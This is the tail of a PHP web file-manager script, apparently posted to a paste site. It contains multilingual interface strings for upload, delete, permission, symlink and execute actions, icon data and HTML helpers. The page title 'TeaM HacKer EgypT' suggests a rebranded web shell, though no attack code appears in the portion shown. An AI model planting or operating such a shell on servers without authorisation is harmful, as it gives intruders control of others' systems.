  1953. 'saved' => '"[%1]" is opgeslagen.',
  1954. 'not_saved' => '"[%1]" is niet opgeslagen.',
  1955. 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
  1956. 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
  1957. 'permission_for' => 'Bevoegdheid voor "[%1]":',
  1958. 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
  1959. 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
  1960. 'not_readable' => '"[%1]" kan niet worden gelezen.'
  1961. );
  1962.  
  1963. case 'se':
  1964.  
  1965. $date_format = 'n/j/y H:i:s';
  1966. $word_charset = 'ISO-8859-1';
  1967.  
  1968. return array(
  1969. 'directory' => 'Mapp',
  1970. 'file' => 'Fil',
  1971. 'filename' => 'Filnamn',
  1972.  
  1973. 'size' => 'Storlek',
  1974. 'permission' => 'S?kerhetsniv?',
  1975. 'owner' => '?gare',
  1976. 'group' => 'Grupp',
  1977. 'other' => 'Andra',
  1978. 'functions' => 'Funktioner',
  1979.  
  1980. 'read' => 'L?s',
  1981. 'write' => 'Skriv',
  1982. 'execute' => 'Utf?r',
  1983.  
  1984. 'create_symlink' => 'Skapa symlink',
  1985. 'delete' => 'Radera',
  1986. 'rename' => 'Byt namn',
  1987. 'move' => 'Flytta',
  1988. 'copy' => 'Kopiera',
  1989. 'edit' => '?ndra',
  1990. 'download' => 'Ladda ner',
  1991. 'upload' => 'Ladda upp',
  1992. 'create' => 'Skapa',
  1993. 'change' => '?ndra',
  1994. 'save' => 'Spara',
  1995. 'set' => 'Markera',
  1996. 'reset' => 'T?m',
  1997. 'relative' => 'Relative path to target',
  1998.  
  1999. 'yes' => 'Ja',
  2000. 'no' => 'Nej',
  2001. 'back' => 'Tillbaks',
  2002. 'destination' => 'Destination',
  2003. 'symlink' => 'Symlink',
  2004. 'no_output' => 'no output',
  2005.  
  2006. 'user' => 'Anv?ndare',
  2007. 'password' => 'L?senord',
  2008. 'add' => 'L?gg till',
  2009. 'add_basic_auth' => 'add basic-authentification',
  2010.  
  2011. 'uploaded' => '"[%1]" har laddats upp.',
  2012. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  2013. 'already_exists' => '"[%1]" finns redan.',
  2014. 'created' => '"[%1]" har skapats.',
  2015. 'not_created' => '"[%1]" kunde inte skapas.',
  2016. 'really_delete' => 'Radera dessa filer?',
  2017. 'deleted' => "De h?r filerna har raderats:\
  2018. [%1]",
  2019. 'not_deleted' => "Dessa filer kunde inte raderas:\
  2020. [%1]",
  2021. 'rename_file' => 'Byt namn p? fil:',
  2022. 'renamed' => '"[%1]" har bytt namn till "[%2]".',
  2023. 'not_renamed' => '"[%1] kunde inte d?pas om till "[%2]".',
  2024. 'move_files' => 'Flytta dessa filer:',
  2025. 'moved' => "Dessa filer har flyttats till \"[%2]\":\
  2026. [%1]",
  2027. 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\
  2028. [%1]",
  2029. 'copy_files' => 'Kopiera dessa filer:',
  2030. 'copied' => "Dessa filer har kopierats till \"[%2]\":\
  2031. [%1]",
  2032. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\
  2033. [%1]",
  2034. 'not_edited' => '"[%1]" kan inte ?ndras.',
  2035. 'executed' => "\"[%1]\" har utf?rts:\
  2036. {%2}",
  2037. 'not_executed' => "\"[%1]\" kunde inte utf?ras:\
  2038. {%2}",
  2039. 'saved' => '"[%1]" har sparats.',
  2040. 'not_saved' => '"[%1]" kunde inte sparas.',
  2041. 'symlinked' => 'Symlink fr?n "[%2]" till "[%1]" har skapats.',
  2042. 'not_symlinked' => 'Symlink fr?n "[%2]" till "[%1]" kunde inte skapas.',
  2043. 'permission_for' => 'R?ttigheter f?r "[%1]":',
  2044. 'permission_set' => 'R?ttigheter f?r "[%1]" ?ndrades till [%2].',
  2045. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2046. 'not_readable' => '"[%1]" kan inte l?sas.'
  2047. );
  2048.  
  2049. case 'sp':
  2050.  
  2051. $date_format = 'j/n/y H:i:s';
  2052. $word_charset = 'ISO-8859-1';
  2053.  
  2054. return array(
  2055. 'directory' => 'Directorio',
  2056. 'file' => 'Archivo',
  2057. 'filename' => 'Nombre Archivo',
  2058.  
  2059. 'size' => 'Tama?o',
  2060. 'permission' => 'Permisos',
  2061. 'owner' => 'Propietario',
  2062. 'group' => 'Grupo',
  2063. 'other' => 'Otros',
  2064. 'functions' => 'Funciones',
  2065.  
  2066. 'read' => 'lectura',
  2067. 'write' => 'escritura',
  2068. 'execute' => 'ejecuci?n',
  2069.  
  2070. 'create_symlink' => 'crear enlace',
  2071. 'delete' => 'borrar',
  2072. 'rename' => 'renombrar',
  2073. 'move' => 'mover',
  2074. 'copy' => 'copiar',
  2075. 'edit' => 'editar',
  2076. 'download' => 'bajar',
  2077. 'upload' => 'subir',
  2078. 'create' => 'crear',
  2079. 'change' => 'cambiar',
  2080. 'save' => 'salvar',
  2081. 'set' => 'setear',
  2082. 'reset' => 'resetear',
  2083. 'relative' => 'Path relativo',
  2084.  
  2085. 'yes' => 'Si',
  2086. 'no' => 'No',
  2087. 'back' => 'atr?s',
  2088. 'destination' => 'Destino',
  2089. 'symlink' => 'Enlace',
  2090. 'no_output' => 'sin salida',
  2091.  
  2092. 'user' => 'Usuario',
  2093. 'password' => 'Clave',
  2094. 'add' => 'agregar',
  2095. 'add_basic_auth' => 'agregar autentificaci?n b?sica',
  2096.  
  2097. 'uploaded' => '"[%1]" ha sido subido.',
  2098. 'not_uploaded' => '"[%1]" no pudo ser subido.',
  2099. 'already_exists' => '"[%1]" ya existe.',
  2100. 'created' => '"[%1]" ha sido creado.',
  2101. 'not_created' => '"[%1]" no pudo ser creado.',
  2102. 'really_delete' => '?Borra estos archivos?',
  2103. 'deleted' => "Estos archivos han sido borrados:\
  2104. [%1]",
  2105. 'not_deleted' => "Estos archivos no pudieron ser borrados:\
  2106. [%1]",
  2107. 'rename_file' => 'Renombra archivo:',
  2108. 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
  2109. 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
  2110. 'move_files' => 'Mover estos archivos:',
  2111. 'moved' => "Estos archivos han sido movidos a \"[%2]\":\
  2112. [%1]",
  2113. 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\
  2114. [%1]",
  2115. 'copy_files' => 'Copiar estos archivos:',
  2116. 'copied' => "Estos archivos han sido copiados a \"[%2]\":\
  2117. [%1]",
  2118. 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\
  2119. [%1]",
  2120. 'not_edited' => '"[%1]" no pudo ser editado.',
  2121. 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\
  2122. {%2}",
  2123. 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\
  2124. {%2}",
  2125. 'saved' => '"[%1]" ha sido salvado.',
  2126. 'not_saved' => '"[%1]" no pudo ser salvado.',
  2127. 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
  2128. 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
  2129. 'permission_for' => 'Permisos de "[%1]":',
  2130. 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
  2131. 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
  2132. 'not_readable' => '"[%1]" no pudo ser le?do.'
  2133. );
  2134.  
  2135. case 'dk':
  2136.  
  2137. $date_format = 'n/j/y H:i:s';
  2138. $word_charset = 'ISO-8859-1';
  2139.  
  2140. return array(
  2141. 'directory' => 'Mappe',
  2142. 'file' => 'Fil',
  2143. 'filename' => 'Filnavn',
  2144.  
  2145. 'size' => 'St?rrelse',
  2146. 'permission' => 'Rettighed',
  2147. 'owner' => 'Ejer',
  2148. 'group' => 'Gruppe',
  2149. 'other' => 'Andre',
  2150. 'functions' => 'Funktioner',
  2151.  
  2152. 'read' => 'l?s',
  2153. 'write' => 'skriv',
  2154. 'execute' => 'k?r',
  2155.  
  2156. 'create_symlink' => 'opret symbolsk link',
  2157. 'delete' => 'slet',
  2158. 'rename' => 'omd?b',
  2159. 'move' => 'flyt',
  2160. 'copy' => 'kopier',
  2161. 'edit' => 'rediger',
  2162. 'download' => 'download',
  2163. 'upload' => 'upload',
  2164. 'create' => 'opret',
  2165. 'change' => 'skift',
  2166. 'save' => 'gem',
  2167. 'set' => 's?t',
  2168. 'reset' => 'nulstil',
  2169. 'relative' => 'Relativ sti til valg',
  2170.  
  2171. 'yes' => 'Ja',
  2172. 'no' => 'Nej',
  2173. 'back' => 'tilbage',
  2174. 'destination' => 'Distination',
  2175. 'symlink' => 'Symbolsk link',
  2176. 'no_output' => 'ingen resultat',
  2177.  
  2178. 'user' => 'Bruger',
  2179. 'password' => 'Kodeord',
  2180. 'add' => 'tilf?j',
  2181. 'add_basic_auth' => 'tilf?j grundliggende rettigheder',
  2182.  
  2183. 'uploaded' => '"[%1]" er blevet uploaded.',
  2184. 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
  2185. 'already_exists' => '"[%1]" findes allerede.',
  2186. 'created' => '"[%1]" er blevet oprettet.',
  2187. 'not_created' => '"[%1]" kunne ikke oprettes.',
  2188. 'really_delete' => 'Slet disse filer?',
  2189. 'deleted' => "Disse filer er blevet slettet:\
  2190. [%1]",
  2191. 'not_deleted' => "Disse filer kunne ikke slettes:\
  2192. [%1]",
  2193. 'rename_file' => 'Omd?d fil:',
  2194. 'renamed' => '"[%1]" er blevet omd?bt til "[%2]".',
  2195. 'not_renamed' => '"[%1] kunne ikke omd?bes til "[%2]".',
  2196. 'move_files' => 'Flyt disse filer:',
  2197. 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\
  2198. [%1]",
  2199. 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\
  2200. [%1]",
  2201. 'copy_files' => 'Kopier disse filer:',
  2202. 'copied' => "Disse filer er kopieret til \"[%2]\":\
  2203. [%1]",
  2204. 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\
  2205. [%1]",
  2206. 'not_edited' => '"[%1]" kan ikke redigeres.',
  2207. 'executed' => "\"[%1]\" er blevet k?rt korrekt:\
  2208. {%2}",
  2209. 'not_executed' => "\"[%1]\" kan ikke k?res korrekt:\
  2210. {%2}",
  2211. 'saved' => '"[%1]" er blevet gemt.',
  2212. 'not_saved' => '"[%1]" kunne ikke gemmes.',
  2213. 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
  2214. 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
  2215. 'permission_for' => 'Rettigheder for "[%1]":',
  2216. 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
  2217. 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s?ttes til [%2].',
  2218. 'not_readable' => '"[%1]" Kan ikke l?ses.'
  2219. );
  2220.  
  2221. case 'tr':
  2222.  
  2223. $date_format = 'n/j/y H:i:s';
  2224. $word_charset = 'ISO-8859-1';
  2225.  
  2226. return array(
  2227. 'directory' => 'Klas?r',
  2228. 'file' => 'Dosya',
  2229. 'filename' => 'dosya adi',
  2230.  
  2231. 'size' => 'boyutu',
  2232. 'permission' => 'Izin',
  2233. 'owner' => 'sahib',
  2234. 'group' => 'Grup',
  2235. 'other' => 'Digerleri',
  2236. 'functions' => 'Fonksiyonlar',
  2237.  
  2238. 'read' => 'oku',
  2239. 'write' => 'yaz',
  2240. 'execute' => 'çalistir',
  2241.  
  2242. 'create_symlink' => 'yarat symlink',
  2243. 'delete' => 'sil',
  2244. 'rename' => 'ad degistir',
  2245. 'move' => 'tasi',
  2246. 'copy' => 'kopyala',
  2247. 'edit' => 'düzenle',
  2248. 'download' => 'indir',
  2249. 'upload' => 'yükle',
  2250. 'create' => 'create',
  2251. 'change' => 'degistir',
  2252. 'save' => 'kaydet',
  2253. 'set' => 'ayar',
  2254. 'reset' => 'sifirla',
  2255. 'relative' => 'Hedef yola g?re',
  2256.  
  2257. 'yes' => 'Evet',
  2258. 'no' => 'Hayir',
  2259. 'back' => 'Geri',
  2260. 'destination' => 'Hedef',
  2261. 'symlink' => 'K?sa yol',
  2262. 'no_output' => 'çikti yok',
  2263.  
  2264. 'user' => 'Kullanici',
  2265. 'password' => 'Sifre',
  2266. 'add' => 'ekle',
  2267. 'add_basic_auth' => 'ekle basit-authentification',
  2268.  
  2269. 'uploaded' => '"[%1]" yüklendi.',
  2270. 'not_uploaded' => '"[%1]" yüklenemedi.',
  2271. 'already_exists' => '"[%1]" kullanilmakta.',
  2272. 'created' => '"[%1]" olusturuldu.',
  2273. 'not_created' => '"[%1]" olusturulamadi.',
  2274. 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
  2275. 'deleted' => "Bu dosyalar silindi:\
  2276. [%1]",
  2277. 'not_deleted' => "Bu dosyalar silinemedi:\
  2278. [%1]",
  2279. 'rename_file' => 'Adi degisen dosya:',
  2280. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  2281. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  2282. 'move_files' => 'Tasinan dosyalar:',
  2283. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\
  2284. [%1]",
  2285. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\
  2286. [%1]",
  2287. 'copy_files' => 'Kopyalanan dosyalar:',
  2288. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\
  2289. [%1]",
  2290. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\
  2291. [%1]",
  2292. 'not_edited' => '"[%1]" düzenlenemiyor.',
  2293. 'executed' => "\"[%1]\" basariyla çalistirildi:\
  2294. {%2}",
  2295. 'not_executed' => "\"[%1]\" çalistirilamadi:\
  2296. {%2}",
  2297. 'saved' => '"[%1]" kaydedildi.',
  2298. 'not_saved' => '"[%1]" kaydedilemedi.',
  2299. 'symlinked' => '"[%2]" den "[%1]" e k?sayol olu?turuldu.',
  2300. 'not_symlinked' => '"[%2]"den "[%1]" e k?sayol olu?turulamad?.',
  2301. 'permission_for' => 'Izinler "[%1]":',
  2302. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  2303. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  2304. 'not_readable' => '"[%1]" okunamiyor.'
  2305. );
  2306.  
  2307. case 'cs':
  2308.  
  2309. $date_format = 'd.m.y H:i:s';
  2310. $word_charset = 'UTF-8';
  2311.  
  2312. return array(
  2313. 'directory' => 'Adres????',
  2314. 'file' => 'Soubor',
  2315. 'filename' => 'Jm?©no souboru',
  2316.  
  2317. 'size' => 'Velikost',
  2318. 'permission' => 'Pr??va',
  2319. 'owner' => 'Vlastn?­k',
  2320. 'group' => 'Skupina',
  2321. 'other' => 'Ostatn?­',
  2322. 'functions' => 'Funkce',
  2323.  
  2324. 'read' => '??ten?­',
  2325. 'write' => 'Z??pis',
  2326. 'execute' => 'Spou??t??n?­',
  2327.  
  2328. 'create_symlink' => 'Vytvo??it symbolick?½ odkaz',
  2329. 'delete' => 'Smazat',
  2330. 'rename' => 'P??ejmenovat',
  2331. 'move' => 'P??esunout',
  2332. 'copy' => 'Zkop?­rovat',
  2333. 'edit' => 'Otev???­t',
  2334. 'download' => 'St??hnout',
  2335. 'upload' => 'Nahraj na server',
  2336. 'create' => 'Vytvo??it',
  2337. 'change' => 'Zm??nit',
  2338. 'save' => 'Ulo?¾it',
  2339. 'set' => 'Nastavit',
  2340. 'reset' => 'zp??t',
  2341. 'relative' => 'Relatif',
  2342.  
  2343. 'yes' => 'Ano',
  2344. 'no' => 'Ne',
  2345. 'back' => 'Zp??t',
  2346. 'destination' => 'Destination',
  2347. 'symlink' => 'Symbolick?½ odkaz',
  2348. 'no_output' => 'Pr??zdn?½ v?½stup',
  2349.  
  2350. 'user' => 'U?¾ivatel',
  2351. 'password' => 'Heslo',
  2352. 'add' => 'P??idat',
  2353. 'add_basic_auth' => 'p??idej z??kladn?­ autentizaci',
  2354.  
  2355. 'uploaded' => 'Soubor "[%1]" byl nahr??n na server.',
  2356. 'not_uploaded' => 'Soubor "[%1]" nebyl nahr??n na server.',
  2357. 'already_exists' => 'Soubor "[%1]" u?¾ exituje.',
  2358. 'created' => 'Soubor "[%1]" byl vytvo??en.',
  2359. 'not_created' => 'Soubor "[%1]" nemohl b?½t vytvo??en.',
  2360. 'really_delete' => 'Vymazat soubor?',
  2361. 'deleted' => "Byly vymaz??ny tyto soubory:\
  2362. [%1]",
  2363. 'not_deleted' => "Tyto soubory nemohly b?½t vytvo??eny:\
  2364. [%1]",
  2365. 'rename_file' => 'P??ejmenuj soubory:',
  2366. 'renamed' => 'Soubor "[%1]" byl p??ejmenov??n na "[%2]".',
  2367. 'not_renamed' => 'Soubor "[%1]" nemohl b?½t p??ejmenov??n na "[%2]".',
  2368. 'move_files' => 'P??em?­stit tyto soubory:',
  2369. 'moved' => "Tyto soubory byly p??em?­st??ny do \"[%2]\":\
  2370. [%1]",
  2371. 'not_moved' => "Tyto soubory nemohly b?½t p??em?­st??ny do \"[%2]\":\
  2372. [%1]",
  2373. 'copy_files' => 'Zkop?­rovat tyto soubory:',
  2374. 'copied' => "Tyto soubory byly zkop?­rov??ny do \"[%2]\":\
  2375. [%1]",
  2376. 'not_copied' => "Tyto soubory nemohly b?½t zkop?­rov??ny do \"[%2]\":\
  2377. [%1]",
  2378. 'not_edited' => 'Soubor "[%1]" nemohl b?½t otev??en.',
  2379. 'executed' => "SOubor \"[%1]\" byl spu??t??n :\
  2380. {%2}",
  2381. 'not_executed' => "Soubor \"[%1]\" nemohl b?½t spu??t??n:\
  2382. {%2}",
  2383. 'saved' => 'Soubor "[%1]" byl ulo?¾en.',
  2384. 'not_saved' => 'Soubor "[%1]" nemohl b?½t ulo?¾en.',
  2385. 'symlinked' => 'Byl vyvo??en symbolick?½ odkaz "[%2]" na soubor "[%1]".',
  2386. 'not_symlinked' => 'Symbolick?½ odkaz "[%2]" na soubor "[%1]" nemohl b?½t vytvo??en.',
  2387. 'permission_for' => 'Pr??va k "[%1]":',
  2388. 'permission_set' => 'Pr??va k "[%1]" byla zm??n??na na [%2].',
  2389. 'permission_not_set' => 'Pr??va k "[%1]" nemohla b?½t zm??n??na na [%2].',
  2390. 'not_readable' => 'Soubor "[%1]" nen?­ mo?¾no p??e???­st.'
  2391. );
  2392.  
  2393. case 'en':
  2394. default:
  2395.  
  2396. $date_format = 'n/j/y H:i:s';
  2397. $word_charset = 'ISO-8859-1';
  2398.  
  2399. return array(
  2400. 'directory' => 'Directory',
  2401. 'file' => 'File',
  2402. 'filename' => 'Filename',
  2403.  
  2404. 'size' => 'Size',
  2405. 'permission' => 'Permission',
  2406. 'owner' => 'Owner',
  2407. 'group' => 'Group',
  2408. 'other' => 'Others',
  2409. 'functions' => 'Functions',
  2410.  
  2411. 'read' => 'read',
  2412. 'write' => 'write',
  2413. 'execute' => 'execute',
  2414.  
  2415. 'create_symlink' => 'create symlink',
  2416. 'delete' => 'delete',
  2417. 'rename' => 'rename',
  2418. 'move' => 'move',
  2419. 'copy' => 'copy',
  2420. 'edit' => 'edit',
  2421. 'download' => 'download',
  2422. 'upload' => 'upload',
  2423. 'create' => 'create',
  2424. 'change' => 'change',
  2425. 'save' => 'save',
  2426. 'set' => 'set',
  2427. 'reset' => 'reset',
  2428. 'relative' => 'Relative path to target',
  2429.  
  2430. 'yes' => 'Yes',
  2431. 'no' => 'No',
  2432. 'back' => 'back',
  2433. 'destination' => 'Destination',
  2434. 'symlink' => 'Symlink',
  2435. 'no_output' => 'no output',
  2436.  
  2437. 'user' => 'User',
  2438. 'password' => 'Password',
  2439. 'add' => 'add',
  2440. 'add_basic_auth' => 'add basic-authentification',
  2441.  
  2442. 'uploaded' => '"[%1]" has been uploaded.',
  2443. 'not_uploaded' => '"[%1]" could not be uploaded.',
  2444. 'already_exists' => '"[%1]" already exists.',
  2445. 'created' => '"[%1]" has been created.',
  2446. 'not_created' => '"[%1]" could not be created.',
  2447. 'really_delete' => 'Delete these files?',
  2448. 'deleted' => "These files have been deleted:\
  2449. [%1]",
  2450. 'not_deleted' => "These files could not be deleted:\
  2451. [%1]",
  2452. 'rename_file' => 'Rename file:',
  2453. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  2454. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  2455. 'move_files' => 'Move these files:',
  2456. 'moved' => "These files have been moved to \"[%2]\":\
  2457. [%1]",
  2458. 'not_moved' => "These files could not be moved to \"[%2]\":\
  2459. [%1]",
  2460. 'copy_files' => 'Copy these files:',
  2461. 'copied' => "These files have been copied to \"[%2]\":\
  2462. [%1]",
  2463. 'not_copied' => "These files could not be copied to \"[%2]\":\
  2464. [%1]",
  2465. 'not_edited' => '"[%1]" can not be edited.',
  2466. 'executed' => "\"[%1]\" has been executed successfully:\
  2467. {%2}",
  2468. 'not_executed' => "\"[%1]\" could not be executed successfully:\
  2469. {%2}",
  2470. 'saved' => '"[%1]" has been saved.',
  2471. 'not_saved' => '"[%1]" could not be saved.',
  2472. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  2473. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  2474. 'permission_for' => 'Permission of "[%1]":',
  2475. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  2476. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2477. 'not_readable' => '"[%1]" can not be read.'
  2478. );
  2479.  
  2480. }
  2481.  
  2482. }
  2483.  
  2484. function getimage ($image) {
  2485. switch ($image) {
  2486. case 'file':
  2487. return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2488. case 'folder':
  2489. return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  2490. case 'hidden_file':
  2491. return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2492. case 'link':
  2493. return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  2494. case 'smiley':
  2495. return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  2496. case 'arrow':
  2497. return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  2498. }
  2499. }
  2500.  
  2501. function html_header () {
  2502. global $site_charset;
  2503.  
  2504. echo <<<END
  2505. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  2506. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2507. <html xmlns="http://www.w3.org/1999/xhtml">
  2508. <head>
  2509.  
  2510. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  2511.  
  2512. <title>TeaM HacKer EgypT</title>
  2513.  
  2514. <style type="text/css">
  2515. body { font: small sans-serif; text-align: center }
  2516. img { width: 17px; height: 13px }
  2517. a, a:visited { text-decoration: none; color: navy }
  2518. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  2519. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  2520. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  2521. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  2522. .listing th { border: 1px solid silver }
  2523. .listing td { border: 1px solid #ddd; background: white }
  2524. .listing .checkbox { text-align: center }
  2525. .listing .filename { text-align: left }
  2526. .listing .size { text-align: right }
  2527. .listing .permission_header { text-align: left }
  2528. .listing .permission { font-family: monospace }
  2529. .listing .owner { text-align: left }
  2530. .listing .group { text-align: left }
  2531. .listing .functions { text-align: left }
  2532. .listing_footer td { background: #eee; border: 1px solid silver }
  2533. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  2534. #directory { background: #eee; border: 1px solid silver }
  2535. #upload { padding-top: 1em }
  2536. #create { padding-bottom: 1em }
  2537. .small, .small option { font-size: x-small }
  2538. textarea { border: none; background: white }
  2539. table.dialog { margin-left: auto; margin-right: auto }
  2540. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  2541. #permission { margin-left: auto; margin-right: auto }
  2542. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  2543. td.permission_action { text-align: right }
  2544. #symlink { background: #eee; border: 1px solid silver }
  2545. #symlink td { text-align: left; padding: 3pt }
  2546. #red_button { width: 120px; color: #400 }
  2547. #green_button { width: 120px; color: #040 }
  2548. #error td { background: maroon; color: white; border: 1px solid silver }
  2549. #notice td { background: green; color: white; border: 1px solid silver }
  2550. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  2551. code { font-size: 12pt }
  2552. td { white-space: nowrap }
  2553. </style>
  2554.  
  2555. <script type="text/javascript">
  2556. <!--
  2557. function activate (name) {
  2558. if (document && document.forms[0] && document.forms[0].elements['focus']) {
  2559. document.forms[0].elements['focus'].value = name;
  2560. }
  2561. }
  2562. //-->
  2563. </script>
  2564.  
  2565. </head>
  2566. <body>
  2567.  
  2568.  
  2569. END;
  2570.  
  2571. }
  2572.  
  2573. function html_footer () {
  2574.  
  2575. echo <<<END
  2576. </body>
  2577. </html>
  2578. END;
  2579.  
  2580. }
  2581.  
  2582. function notice ($phrase) {
  2583. global $cols;
  2584.  
  2585. $args = func_get_args();
  2586. array_shift($args);
  2587.  
  2588. return '<tr id="notice">
  2589. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2590. </tr>
  2591. ';
  2592.  
  2593. }
  2594.  
  2595. function error ($phrase) {
  2596. global $cols;
  2597.  
  2598. $args = func_get_args();
  2599. array_shift($args);
  2600.  
  2601. return '<tr id="error">
  2602. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2603. </tr>
  2604. ';
  2605.  
  2606. }
  2607.  
  2608. ?>
Add Comment
Please, Sign In to add comment